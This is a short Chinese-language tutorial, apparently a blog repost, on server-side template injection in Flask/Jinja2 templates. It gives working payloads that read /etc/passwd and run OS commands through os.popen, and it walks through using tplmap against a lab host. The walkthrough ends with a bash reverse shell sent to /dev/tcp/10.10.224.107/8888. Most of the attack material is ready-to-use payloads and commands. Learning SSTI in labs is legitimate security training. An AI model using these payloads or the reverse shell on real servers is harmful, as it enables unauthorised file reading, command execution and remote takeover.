其他分享
首页 > 其他分享> > SSTI(服务器端模板注入)

SSTI(服务器端模板注入)

作者:互联网

SSTI(服务器端模板注入)


0x01 简介

模板引擎允许开发人员使用带有动态元素的静态HTML页面。例如,静态配置文件.html一个模板引擎将允许开发人员设置一个用户名参数,该参数将始终设置为当前用户的用户名 服务器端模板注入是指用户能够传入一个参数,该参数可以控制服务器上运行的模板引擎。 例如:    这引入了一个漏洞,因为它允许黑客将模板代码注入网站。从XSS一直到RCE,其影响可能是毁灭性的。 注意:不同的模板引擎具有不同的注入有效负载,但是通常您可以使用{{2+2}}作为测试来测试SSTI。  

0x02 文件读取

以python的flask模板引擎为例 文件读取:{{ ''.__class__.__mro__[2].__subclasses__()[40]()(<file>).read()}} {{ ''.__class__.__mro__[2].__subclasses__()[40]()(/etc/passwd).read()}}  

0x03 RCE

执行命令:{{config.__class__.__init__.__globals__['os'].popen(<command>).read()}} {{config.__class__.__init__.__globals__['os'].popen(id).read()}}

0x04 Payload

SSTI各种payload参考 https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection  

0x05 Tools-tplmap

利用工具: https://github.com/epinna/tplmap 注意:使用python2安装要求。python2 -m pip   根据请求方式不同,语法也有所不同 GET    tplmap -u <URL> /?<vulnparam> POST    tplmap -u <URL> -d'<vulnparam>'    

0x06 练习

0x01 验证漏洞

探测输入点是否存在SSTI   0x02 利用 使用tplmap对漏洞进行利用 python2 tplmap.py -u http://10.10.20.97 -d 'name'    执行命令 python2 tplmap.py -u http://10.10.20.97 -d 'name' --os-cmd "id"   0x03 GetShell 反弹Shell python2 tplmap.py -u http://10.10.20.97 -d 'name' --os-cmd "bash -c 'bash -i >&/dev/tcp/10.10.224.107/8888 0>&1'"    

标签:__,.__,服务器端,tplmap,__.__,SSTI,模板,python2
来源: https://blog.csdn.net/qq_44101248/article/details/114125057